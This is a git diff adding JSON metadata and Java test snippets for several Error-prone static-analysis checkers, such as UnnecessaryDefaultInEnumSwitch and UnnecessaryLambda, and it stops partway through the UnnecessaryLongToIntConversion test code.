b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryDefaultInEnumSwitch.json new file mode 100644 index 0000000..f363042 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryDefaultInEnumSwitch.json @@ -0,0 +1,278 @@ +{ + "name": "UnnecessaryDefaultInEnumSwitch", + "language": "java", + "description": "Switch handles all enum values: an explicit default case is unnecessary and defeats error checking for non-exhaustive switches.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 263, + "branches": 87, + "apis": 3, + "test": [ + { + "description": "switchCannotComplete", + "expected-problems": null, + "expected-linenumbers": [ + 37 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n boolean m(Case c) {\n switch (c) {\n case ONE:\n case TWO:\n case THREE:\n return true;\n default:\n // This is a comment\n throw new AssertionError(c);\n }\n }\n }\n \n\n class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n boolean m(Case c) {\n switch (c) {\n case ONE:\n case TWO:\n case THREE:\n return true;\n }\n // This is a comment\n throw new AssertionError(c);\n }\n }" + }, + { + "description": "switchCannotCompleteUnrecognized", + "expected-problems": null, + "expected-linenumbers": [ + 88 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE,\n UNRECOGNIZED\n }\n\n boolean m(Case c) {\n switch (c) {\n case ONE:\n case TWO:\n case THREE:\n return true;\n default:\n // This is a comment\n throw new AssertionError(c);\n }\n }\n }\n \n\n class Test {\n enum Case {\n ONE,\n TWO,\n THREE,\n UNRECOGNIZED\n }\n\n boolean m(Case c) {\n switch (c) {\n case ONE:\n case TWO:\n case THREE:\n return true;\n case UNRECOGNIZED:\n break;\n }\n // This is a comment\n throw new AssertionError(c);\n }\n }" + }, + { + "description": "emptyDefault", + "expected-problems": null, + "expected-linenumbers": [ + 143 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n boolean m(Case c) {\n switch (c) {\n case ONE:\n case TWO:\n case THREE:\n return true;\n default:\n }\n return false;\n }\n }\n \n\n class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n boolean m(Case c) {\n switch (c) {\n case ONE:\n case TWO:\n case THREE:\n return true;\n }\n return false;\n }\n }" + }, + { + "description": "emptyDefaultUnrecognized", + "expected-problems": null, + "expected-linenumbers": [ + 192 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE,\n UNRECOGNIZED\n }\n\n boolean m(Case c) {\n switch (c) {\n case ONE:\n case TWO:\n case THREE:\n return true;\n default:\n }\n return false;\n }\n }\n \n\n class Test {\n enum Case {\n ONE,\n TWO,\n THREE,\n UNRECOGNIZED\n }\n\n boolean m(Case c) {\n switch (c) {\n case ONE:\n case TWO:\n case THREE:\n return true;\n case UNRECOGNIZED:\n // continue below\n }\n return false;\n }\n }" + }, + { + "description": "defaultBreak", + "expected-problems": null, + "expected-linenumbers": [ + 245 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n boolean m(Case c) {\n switch (c) {\n case ONE:\n case TWO:\n case THREE:\n return true;\n default:\n break;\n }\n return false;\n }\n }\n \n\n class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n boolean m(Case c) {\n switch (c) {\n case ONE:\n case TWO:\n case THREE:\n return true;\n }\n return false;\n }\n }" + }, + { + "description": "defaultBreakUnrecognized", + "expected-problems": null, + "expected-linenumbers": [ + 295 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE,\n UNRECOGNIZED\n }\n\n boolean m(Case c) {\n switch (c) {\n case ONE:\n case TWO:\n case THREE:\n return true;\n default:\n break;\n }\n return false;\n }\n }\n \n\n class Test {\n enum Case {\n ONE,\n TWO,\n THREE,\n UNRECOGNIZED\n }\n\n boolean m(Case c) {\n switch (c) {\n case ONE:\n case TWO:\n case THREE:\n return true;\n case UNRECOGNIZED:\n // continue below\n }\n return false;\n }\n }" + }, + { + "description": "completes_noUnassignedVars_priorCaseExits", + "expected-problems": null, + "expected-linenumbers": [ + 349 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n boolean m(Case c) {\n switch (c) {\n case ONE:\n case TWO:\n break;\n case THREE:\n return true;\n default:\n throw new AssertionError(c);\n }\n return false;\n }\n }\n \n\n class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n boolean m(Case c) {\n switch (c) {\n case ONE:\n case TWO:\n break;\n case THREE:\n return true;\n }\n return false;\n }\n }" + }, + { + "description": "completes_noUnassignedVars_priorCaseExitsUnrecognized", + "expected-problems": null, + "expected-linenumbers": [ + 401 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE,\n UNRECOGNIZED\n }\n\n boolean m(Case c) {\n switch (c) {\n case ONE:\n case TWO:\n break;\n case THREE:\n return true;\n default:\n throw new AssertionError(c);\n }\n return false;\n }\n }\n \n\n class Test {\n enum Case {\n ONE,\n TWO,\n THREE,\n UNRECOGNIZED\n }\n\n boolean m(Case c) {\n switch (c) {\n case ONE:\n case TWO:\n break;\n case THREE:\n return true;\n case UNRECOGNIZED:\n throw new AssertionError(c);\n }\n return false;\n }\n }" + }, + { + "description": "completes_noUnassignedVars_priorCaseDoesntExit", + "expected-problems": null, + "expected-linenumbers": [ + 457 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n boolean m(Case c) {\n switch (c) {\n case ONE:\n case TWO:\n return true;\n case THREE:\n default:\n // This is a comment\n System.out.println(\"Test\");\n }\n return false;\n }\n }\n \n\n class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n boolean m(Case c) {\n switch (c) {\n case ONE:\n case TWO:\n return true;\n case THREE:\n // This is a comment\n System.out.println(\"Test\");\n }\n return false;\n }\n }" + }, + { + "description": "completes_noUnassignedVars_priorCaseDoesntExitUnrecognized", + "expected-problems": null, + "expected-linenumbers": [ + 510 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE,\n UNRECOGNIZED\n }\n\n boolean m(Case c) {\n switch (c) {\n case ONE:\n case TWO:\n return true;\n case THREE:\n default:\n // This is a comment\n System.out.println(\"Test\");\n }\n return false;\n }\n }\n \n\n class Test {\n enum Case {\n ONE,\n TWO,\n THREE,\n UNRECOGNIZED\n }\n\n boolean m(Case c) {\n switch (c) {\n case ONE:\n case TWO:\n return true;\n case THREE:\n case UNRECOGNIZED:\n // This is a comment\n System.out.println(\"Test\");\n }\n return false;\n }\n }" + }, + { + "description": "completes_unassignedVars", + "expected-problems": null, + "expected-linenumbers": [ + 566 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n boolean m(Case c) {\n int x;\n switch (c) {\n case ONE:\n case TWO:\n x = 1;\n break;\n case THREE:\n x = 2;\n break;\n default:\n x = 3;\n }\n return x == 1;\n }\n }" + }, + { + "description": "completes_unassignedVarsUnrecognized", + "expected-problems": null, + "expected-linenumbers": [ + 599 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE,\n UNRECOGNIZED\n }\n\n boolean m(Case c) {\n int x;\n switch (c) {\n case ONE:\n case TWO:\n x = 1;\n break;\n case THREE:\n x = 2;\n break;\n default:\n x = 3;\n }\n return x == 1;\n }\n }" + }, + { + "description": "notExhaustive", + "expected-problems": null, + "expected-linenumbers": [ + 633 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n boolean m(Case c) {\n switch (c) {\n case ONE:\n case TWO:\n return true;\n default:\n throw new AssertionError(c);\n }\n }\n }" + }, + { + "description": "notExhaustiveUnrecognized", + "expected-problems": null, + "expected-linenumbers": [ + 660 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n UNRECOGNIZED\n }\n\n boolean m(Case c) {\n switch (c) {\n case ONE:\n case TWO:\n return true;\n default:\n throw new AssertionError(c);\n }\n }\n }\n \n\n class Test {\n enum Case {\n ONE,\n TWO,\n UNRECOGNIZED\n }\n\n boolean m(Case c) {\n switch (c) {\n case ONE:\n case TWO:\n return true;\n case UNRECOGNIZED:\n break;\n }\n throw new AssertionError(c);\n }\n }" + }, + { + "description": "notExhaustive2", + "expected-problems": null, + "expected-linenumbers": [ + 709 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n boolean m(boolean f, Case c) {\n if (f) {\n switch (c) {\n case ONE:\n case TWO:\n case THREE:\n return true;\n default:\n return false;\n }\n } else {\n return false;\n }\n }\n }\n \n\n class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n boolean m(boolean f, Case c) {\n if (f) {\n switch (c) {\n case ONE:\n case TWO:\n case THREE:\n return true;\n }\n return false;\n } else {\n return false;\n }\n }\n }" + }, + { + "description": "notExhaustive2Unrecognized", + "expected-problems": null, + "expected-linenumbers": [ + 766 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE,\n UNRECOGNIZED\n }\n\n boolean m(boolean f, Case c) {\n if (f) {\n switch (c) {\n case ONE:\n case TWO:\n case THREE:\n return true;\n default:\n return false;\n }\n } else {\n return false;\n }\n }\n }\n \n\n class Test {\n enum Case {\n ONE,\n TWO,\n THREE,\n UNRECOGNIZED\n }\n\n boolean m(boolean f, Case c) {\n if (f) {\n switch (c) {\n case ONE:\n case TWO:\n case THREE:\n return true;\n case UNRECOGNIZED:\n break;\n }\n return false;\n } else {\n return false;\n }\n }\n }" + }, + { + "description": "defaultForSkew_switchStatement", + "expected-problems": null, + "expected-linenumbers": [ + 827 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n boolean m(Case c) {\n switch (c) {\n case ONE:\n case TWO:\n case THREE:\n return true;\n default: // in case of library skew\n return false;\n }\n }\n\n boolean o(Case c) {\n switch (c) {\n // in case of library skew\n default:\n return false;\n case ONE:\n case TWO:\n case THREE:\n return true;\n }\n }\n }" + }, + { + "description": "defaultForSkew_switchStatement_body", + "expected-problems": null, + "expected-linenumbers": [ + 867 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n boolean m(Case c) {\n switch (c) {\n case ONE, TWO, THREE -> {\n return true;\n }\n // in case of library skew\n default -> {\n return false;\n }\n }\n }\n }" + }, + { + "description": "defaultForSkew_switchStatement_noFollowingStatement", + "expected-problems": null, + "expected-linenumbers": [ + 896 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n void m(Case c) {\n switch (c) {\n case ONE:\n case TWO:\n case THREE:\n break;\n default: // skew\n }\n }\n }" + }, + { + "description": "defaultForSkew_switchExpression", + "expected-problems": null, + "expected-linenumbers": [ + 923 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n void m(Case c) {\n boolean unused;\n unused =\n switch (c) {\n case ONE, TWO -> true;\n case THREE -> false;\n // present for skew\n default -> false;\n };\n unused =\n switch (c) {\n case ONE, TWO -> true;\n case THREE -> false;\n default -> // present for skew\n false;\n };\n unused =\n switch (c) {\n // present for skew\n default -> false;\n case ONE, TWO -> true;\n case THREE -> false;\n };\n }\n }" + }, + { + "description": "unrecognizedIgnore", + "expected-problems": null, + "expected-linenumbers": [ + 965 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n UNRECOGNIZED\n }\n\n boolean m(Case c) {\n switch (c) {\n case ONE:\n return true;\n default:\n throw new AssertionError(c);\n }\n }\n }" + }, + { + "description": "defaultAboveCaseUnrecognized", + "expected-problems": null, + "expected-linenumbers": [ + 992 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE,\n UNRECOGNIZED\n }\n\n boolean m(Case c) {\n switch (c) {\n case ONE:\n case TWO:\n return true;\n default:\n case THREE:\n // This is a comment\n System.out.println(\"Test\");\n }\n return false;\n }\n }\n \n\n class Test {\n enum Case {\n ONE,\n TWO,\n THREE,\n UNRECOGNIZED\n }\n\n boolean m(Case c) {\n switch (c) {\n case ONE:\n case TWO:\n return true;\n case UNRECOGNIZED:\n case THREE:\n // This is a comment\n System.out.println(\"Test\");\n }\n return false;\n }\n }" + }, + { + "description": "messageMovedAssertion", + "expected-problems": null, + "expected-linenumbers": [ + 1048 + ], + "code": "class Test {\n enum Case {\n ONE\n }\n\n boolean m(Case c) {\n switch (c) {\n case ONE:\n return true;\n // BUG: Diagnostic contains: after the switch statement\n default:\n throw new AssertionError(c);\n }\n }\n }" + }, + { + "description": "messageRemovedAssertion", + "expected-problems": null, + "expected-linenumbers": [ + 1073 + ], + "code": "class Test {\n enum Case {\n ONE\n }\n\n void m(Case c) {\n int i = 0;\n switch (c) {\n case ONE:\n i = 1;\n break;\n // BUG: Diagnostic contains: case can be omitted\n default:\n throw new AssertionError();\n }\n }\n }" + }, + { + "description": "switchCompletesUnrecognized", + "expected-problems": null, + "expected-linenumbers": [ + 1100 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE,\n UNRECOGNIZED\n }\n\n void m(Case c) {\n switch (c) {\n case ONE:\n break;\n case TWO:\n break;\n case THREE:\n break;\n default:\n // This is a comment\n throw new AssertionError(c);\n }\n }\n }\n \n\n class Test {\n enum Case {\n ONE,\n TWO,\n THREE,\n UNRECOGNIZED\n }\n\n void m(Case c) {\n switch (c) {\n case ONE:\n break;\n case TWO:\n break;\n case THREE:\n break;\n case UNRECOGNIZED:\n // This is a comment\n throw new AssertionError(c);\n }\n }\n }" + }, + { + "description": "messages", + "expected-problems": null, + "expected-linenumbers": [ + 1158 + ], + "code": "class Test {\n enum NormalEnum {\n A,\n B\n }\n\n enum ProtoEnum {\n ONE,\n TWO,\n UNRECOGNIZED\n }\n\n void normal(NormalEnum e) {\n switch (e) {\n case A:\n case B:\n // BUG: Diagnostic contains: default case can be omitted\n default:\n break;\n }\n }\n\n void proto(ProtoEnum e) {\n switch (e) {\n case ONE:\n case TWO:\n // BUG: Diagnostic contains: UNRECOGNIZED\n default:\n break;\n }\n }\n }" + }, + { + "description": "defaultCaseKindRule", + "expected-problems": null, + "expected-linenumbers": [ + 1200 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO\n }\n\n void m(Case c) {\n switch (c) {\n case ONE -> {}\n case TWO -> {}\n default -> {}\n }\n }\n }\n \n\n class Test {\n enum Case {\n ONE,\n TWO\n }\n\n void m(Case c) {\n switch (c) {\n case ONE -> {}\n case TWO -> {}\n }\n }\n }" + }, + { + "description": "defaultCaseKindRule_initialisation", + "expected-problems": null, + "expected-linenumbers": [ + 1241 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO\n }\n\n void m(Case c) {\n int x;\n switch (c) {\n case ONE -> x = 1;\n case TWO -> x = 2;\n // Removing this would not compile.\n default -> throw new AssertionError();\n }\n System.out.println(x);\n }\n }" + }, + { + "description": "unrecognizedCaseKindRule", + "expected-problems": null, + "expected-linenumbers": [ + 1268 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n UNRECOGNIZED\n }\n\n void m(Case c) {\n switch (c) {\n case ONE -> {}\n case TWO -> {}\n default -> {}\n }\n }\n }\n \n\n class Test {\n enum Case {\n ONE,\n TWO,\n UNRECOGNIZED\n }\n\n void m(Case c) {\n switch (c) {\n case ONE -> {}\n case TWO -> {}\n case UNRECOGNIZED -> {}\n }\n }\n }" + }, + { + "description": "unrecognizedCaseKindRule_initialization", + "expected-problems": null, + "expected-linenumbers": [ + 1315 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n UNRECOGNIZED\n }\n\n void m(Case c) {\n int x;\n switch (c) {\n case ONE -> x = 1;\n case TWO -> x = 2;\n // Removing this would not compile.\n default -> throw new AssertionError();\n }\n System.out.println(x);\n }\n }" + }, + { + "description": "multipleLabels", + "expected-problems": null, + "expected-linenumbers": [ + 1343 + ], + "code": "class Test {\n enum Type {\n FOO,\n BAR,\n BAZ,\n }\n\n public static void main(String[] args) {\n var type = Type.valueOf(args[0]);\n switch (type) {\n case FOO -> {\n System.out.println(\"Hi foo\");\n }\n case BAR, BAZ -> {}\n default -> throw new AssertionError(type);\n }\n }\n }\n \n\n class Test {\n enum Type {\n FOO,\n BAR,\n BAZ,\n }\n\n public static void main(String[] args) {\n var type = Type.valueOf(args[0]);\n switch (type) {\n case FOO -> {\n System.out.println(\"Hi foo\");\n }\n case BAR, BAZ -> {}\n }\n }\n }" + }, + { + "description": "expressionSwitch", + "expected-problems": null, + "expected-linenumbers": [ + 1392 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n }\n\n boolean m(Case c) {\n return switch (c) {\n case ONE -> true;\n case TWO -> false;\n default -> throw new AssertionError();\n };\n }\n }\n \n\n class Test {\n enum Case {\n ONE,\n TWO,\n }\n\n boolean m(Case c) {\n return switch (c) {\n case ONE -> true;\n case TWO -> false;\n };\n }\n }" + }, + { + "description": "expressionSwitchUnrecognized", + "expected-problems": null, + "expected-linenumbers": [ + 1433 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n UNRECOGNIZED\n }\n\n boolean m(Case c) {\n return switch (c) {\n case ONE -> true;\n case TWO -> false;\n default -> throw new AssertionError();\n };\n }\n }\n \n\n class Test {\n enum Case {\n ONE,\n TWO,\n UNRECOGNIZED\n }\n\n boolean m(Case c) {\n return switch (c) {\n case ONE -> true;\n case TWO -> false;\n case UNRECOGNIZED -> throw new AssertionError();\n };\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryFinal.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryFinal.json new file mode 100644 index 0000000..d3acf94 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryFinal.json @@ -0,0 +1,20 @@ +{ + "name": "UnnecessaryFinal", + "language": "java", + "description": "Since Java 8, it's been unnecessary to make local variables and parameters `final` for use in lambdas or anonymous classes. Marking them as `final` is weakly discouraged, as it adds a fair amount of noise for minimal benefit.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 62, + "branches": 7, + "apis": 1, + "test": [ + { + "description": null, + "expected-problems": null, + "expected-linenumbers": [], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryLambda.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryLambda.json new file mode 100644 index 0000000..2af0faa --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryLambda.json @@ -0,0 +1,134 @@ +{ + "name": "UnnecessaryLambda", + "language": "java", + "description": "Returning a lambda from a helper method or saving it in a constant is unnecessary; prefer to implement the functional interface method directly and use a method reference instead.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 325, + "branches": 36, + "apis": 3, + "test": [ + { + "description": "method", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import java.util.function.Function;\n\n class Test {\n private Function f() {\n return x -> {\n return \"hello \" + x;\n };\n }\n\n void g() {\n Function f = f();\n System.err.println(f().apply(\"world\"));\n }\n }\n \n\n import java.util.function.Function;\n\n class Test {\n private String f(String x) {\n return \"hello \" + x;\n }\n\n void g() {\n Function f = this::f;\n System.err.println(f(\"world\"));\n }\n }" + }, + { + "description": "method_effectivelyPrivate", + "expected-problems": null, + "expected-linenumbers": [ + 71 + ], + "code": "import java.util.function.Function;\n\n class Test {\n private class Inner {\n Function f() {\n return x -> {\n return \"hello \" + x;\n };\n }\n\n void g() {\n Function f = f();\n System.err.println(f().apply(\"world\"));\n }\n }\n }\n \n\n import java.util.function.Function;\n\n class Test {\n private class Inner {\n String f(String x) {\n return \"hello \" + x;\n }\n\n void g() {\n Function f = this::f;\n System.err.println(f(\"world\"));\n }\n }\n }" + }, + { + "description": "method_static", + "expected-problems": null, + "expected-linenumbers": [ + 115 + ], + "code": "import java.util.function.Function;\n\n class Test {\n private static Function f() {\n return x -> \"hello \" + x;\n }\n\n void g() {\n Function f = f();\n System.err.println(f().apply(\"world\"));\n }\n }\n \n\n import java.util.function.Function;\n\n class Test {\n private static String f(String x) {\n return \"hello \" + x;\n }\n\n void g() {\n Function f = Test::f;\n System.err.println(f(\"world\"));\n }\n }" + }, + { + "description": "method_void", + "expected-problems": null, + "expected-linenumbers": [ + 153 + ], + "code": "import java.util.function.Consumer;\n\n class Test {\n private Consumer f() {\n return x -> System.err.println(x);\n }\n\n void g() {\n Consumer f = f();\n f().accept(\"world\");\n }\n }\n \n\n import java.util.function.Consumer;\n\n class Test {\n private void f(String x) {\n System.err.println(x);\n }\n\n void g() {\n Consumer f = this::f;\n f(\"world\");\n }\n }" + }, + { + "description": "variable_instance", + "expected-problems": null, + "expected-linenumbers": [ + 191 + ], + "code": "import java.util.function.Function;\n\n class Test {\n private final Function camelCase = x -> \"hello \" + x;\n\n void g() {\n Function f = camelCase;\n System.err.println(camelCase.apply(\"world\"));\n }\n }\n \n\n import java.util.function.Function;\n\n class Test {\n private String camelCase(String x) {\n return \"hello \" + x;\n }\n\n void g() {\n Function f = this::camelCase;\n System.err.println(camelCase(\"world\"));\n }\n }" + }, + { + "description": "variable_static", + "expected-problems": null, + "expected-linenumbers": [ + 227 + ], + "code": "import java.util.function.Function;\n\n class Test {\n private static final Function F = x -> \"hello \" + x;\n\n void g() {\n Function l = Test.F;\n System.err.println(F.apply(\"world\"));\n }\n }\n \n\n import java.util.function.Function;\n\n class Test {\n private static String f(String x) {\n return \"hello \" + x;\n }\n\n void g() {\n Function l = Test::f;\n System.err.println(f(\"world\"));\n }\n }" + }, + { + "description": "variable_static_butNotUpperCased", + "expected-problems": null, + "expected-linenumbers": [ + 263 + ], + "code": "import java.util.function.Function;\n\n class Test {\n private static final Function notUpperCased = x -> \"hello \" + x;\n\n void g() {\n Function l = Test.notUpperCased;\n System.err.println(notUpperCased.apply(\"world\"));\n }\n }\n \n\n import java.util.function.Function;\n\n class Test {\n private static String notUpperCased(String x) {\n return \"hello \" + x;\n }\n\n void g() {\n Function l = Test::notUpperCased;\n System.err.println(notUpperCased(\"world\"));\n }\n }" + }, + { + "description": "method_shapes", + "expected-problems": null, + "expected-linenumbers": [ + 299 + ], + "code": "import java.util.function.BiFunction;\n import java.util.function.Supplier;\n\n class Test {\n private Supplier f() {\n return () -> \"hello \";\n }\n\n private BiFunction g() {\n return (a, b) -> a + \"hello \" + b;\n }\n\n private Runnable h() {\n return () -> System.err.println();\n }\n\n void main() {\n System.err.println(f().get());\n System.err.println(g().apply(\"a\", \"b\"));\n h().run();\n }\n }\n \n\n import java.util.function.BiFunction;\n import java.util.function.Supplier;\n\n class Test {\n private String f() {\n return \"hello \";\n }\n\n private String g(String a, String b) {\n return a + \"hello \" + b;\n }\n\n private void h() {\n System.err.println();\n }\n\n void main() {\n System.err.println(f());\n System.err.println(g(\"a\", \"b\"));\n h();\n }\n }" + }, + { + "description": "nonFunctionalInterfaceMethod", + "expected-problems": null, + "expected-linenumbers": [ + 357 + ], + "code": "import java.util.function.Predicate;\n\n class Test {\n private static final Predicate F = x -> \"hello \".equals(x);\n\n void g() {\n Predicate l = Test.F.and(x -> true);\n }\n }" + }, + { + "description": "variable_bind", + "expected-problems": null, + "expected-linenumbers": [ + 377 + ], + "code": "package com.google.inject.testing.fieldbinder;\n\n import static java.lang.annotation.ElementType.FIELD;\n import static java.lang.annotation.RetentionPolicy.RUNTIME;\n import java.lang.annotation.Retention;\n import java.lang.annotation.Target;\n\n @Retention(RUNTIME)\n @Target({FIELD})\n public @interface Bind {}\n \n\n import java.util.function.Function;\n import com.google.inject.testing.fieldbinder.Bind;\n\n class Test {\n @Bind private final Function camelCase = x -> \"hello \" + x;\n\n void g() {\n Function f = camelCase;\n System.err.println(camelCase.apply(\"world\"));\n }\n }" + }, + { + "description": "variable_notAFunctionalInterface", + "expected-problems": null, + "expected-linenumbers": [ + 414 + ], + "code": "import java.util.function.Function;\n\n class Test {\n private static final Object F = (Function) x -> \"hello \" + x;\n }" + }, + { + "description": "recursiveLambda_ignored", + "expected-problems": null, + "expected-linenumbers": [ + 430 + ], + "code": "import java.util.function.Predicate;\n\n class Test {\n private static final Predicate F = x -> Test.F.test(x);\n }" + }, + { + "description": "producesIgnored", + "expected-problems": null, + "expected-linenumbers": [ + 446 + ], + "code": "@interface Produces {}\n \n\n import javax.inject.Provider;\n\n class Test {\n private class A {\n @Produces\n public Provider foo() {\n return () -> \"hello \";\n }\n }\n }" + }, + { + "description": "e", + "expected-problems": null, + "expected-linenumbers": [ + 473 + ], + "code": "import java.util.function.Predicate;\n\n class Test {\n private void foo(Predicate p) {}\n\n public void test() {\n foo(E.ELEM.pred());\n }\n\n private enum E {\n ELEM;\n\n Predicate pred() {\n return o -> true;\n }\n }\n }\n \n\n import java.util.function.Predicate;\n\n class Test {\n private void foo(Predicate p) {}\n\n public void test() {\n foo(E.ELEM::pred);\n }\n\n private enum E {\n ELEM;\n\n boolean pred(Object o) {\n return true;\n }\n }\n }" + }, + { + "description": "iterable", + "expected-problems": null, + "expected-linenumbers": [ + 521 + ], + "code": "import java.util.stream.IntStream;\n\n class Example {\n void someLoopyCode() {\n for (int i : someIterable()) {\n // Do something.\n }\n }\n\n private Iterable someIterable() {\n return () -> IntStream.range(0, 42).boxed().iterator();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryLongToIntConversion.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryLongToIntConversion.json new file mode 100644 index 0000000..b112218 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/UnnecessaryLongToIntConversion.json @@ -0,0 +1,102 @@ +{ + "name": "UnnecessaryLongToIntConversion", + "language": "java", + "description": "Converting a long or Long to an int to pass as a long parameter is usually not necessary. If this conversion is intentional, consider `Longs.constrainToRange()` instead.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 142, + "branches": 18, + "apis": 3, + "test": [ + { + "description": "longParameterLongToIntPositiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 39 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport com.google.common.primitives.Ints;\n\n/** Positive cases for {@link com.google.errorprone.bugpatterns.UnnecessaryLongToIntConversion}. */\npublic class UnnecessaryLongToIntConversionPositiveCases {\n\n\n static void acceptsLong(long value) {}\n\n static void acceptsMultipleParams(int intValue, long longValue) {}\n\n public void longToIntForLongParam() {\n long x = 1;\n // BUG: Diagnostic contains: UnnecessaryLongToIntConversion\n acceptsLong((int) x);\n }\n\n public void longObjectToIntForLongParam() {\n Long x = Long.valueOf(1);\n // BUG: Diagnostic contains: UnnecessaryLongToIntConversion\n acceptsLong(x.intValue());\n }\n\n public void convertMultipleArgs() {\n long x = 1;\n // The method expects an int for the first parameter and a long for the second parameter.\n // BUG: Diagnostic contains: UnnecessaryLongToIntConversion\n acceptsMultipleParams(Ints.checkedCast(x), Ints.checkedCast(x));\n }\n\n // The following test cases test various conversion methods, including an unchecked cast.\n public void castToInt() {\n long x = 1;\n // BUG: Diagnostic contains: UnnecessaryLongToIntConversion\n acceptsLong((int) x);\n }\n\n public void checkedCast() {\n long x = 1;\n // BUG: Diagnostic contains: UnnecessaryLongToIntConversion\n acceptsLong(Ints.checkedCast(x));\n }\n\n public void toIntExact() {\n long x = 1;\n // BUG: Diagnostic contains: UnnecessaryLongToIntConversion\n acceptsLong(Math.toIntExact(x));\n }\n\n public void toIntExactWithLongObject() {\n Long x = Long.valueOf(1);\n // BUG: Diagnostic contains: UnnecessaryLongToIntConversion\n acceptsLong(Math.toIntExact(x));\n }\n\n public void intValue() {\n Long x = Long.valueOf(1);\n // BUG: Diagnostic contains: UnnecessaryLongToIntConversion\n acceptsLong(x.intValue());\n }\n}\\" + }, + { + "description": "longParameterLongToIntNegativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 111 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport com.google.common.primitives.Ints;\n\n/** Negative cases for {@link com.google.errorprone.bugpatterns.UnnecessaryLongToIntConversion}. */\npublic class UnnecessaryLongToIntConversionNegativeCases {\n\n static void acceptsLong(long value) {}\n\n static void acceptsInt(int value) {}\n\n static void acceptsMultipleParams(int intValue, long longValue) {}\n\n // Converting from a long or Long to an Integer type requires first converting to an int. This is\n // out of scope.\n public void longToIntegerForLongParam() {\n long x = 1;\n acceptsLong(Integer.valueOf((int) x));\n }\n\n public void longObjectToIntegerForLongParam() {\n Long x = Long.valueOf(1);\n acceptsLong(Integer.valueOf(x.intValue()));\n }\n\n public void longParameterAndLongArgument() {\n long x = 1;\n acceptsLong(x);\n }\n\n public void longParameterAndIntArgument() {\n int i = 1;\n acceptsLong(i);\n }\n\n public void longParameterAndIntegerArgument() {\n Integer i = Integer.valueOf(1);\n acceptsLong(i);\n }\n\n public void castIntToLong() {\n int i = 1;\n acceptsLong((long) i);\n }\n\n public void castLongToIntForIntParameter() {\n long x = 1;\n acceptsInt((int) x);\n }\n\n public void longValueOfLongObject() {\n Long x = Long.valueOf(1);\n acceptsLong(x.longValue());\n }\n\n public void longValueOfInteger() {\n Integer i = Integer.valueOf(1);\n acceptsLong(i.longValue());\n }\n\n public void intValueOfInteger() {\n Integer i = Integer.valueOf(1);\n acceptsLong(i.intValue());\n }\n\n public void intValueForIntParameter() {\n Long x = Long.valueOf(1);\n acceptsInt(x.intValue());\n }\n\n public void checkedCastOnInt() {\n int i = 1;\n acceptsLong(Ints.checkedCast(i));\n }\n\n public void 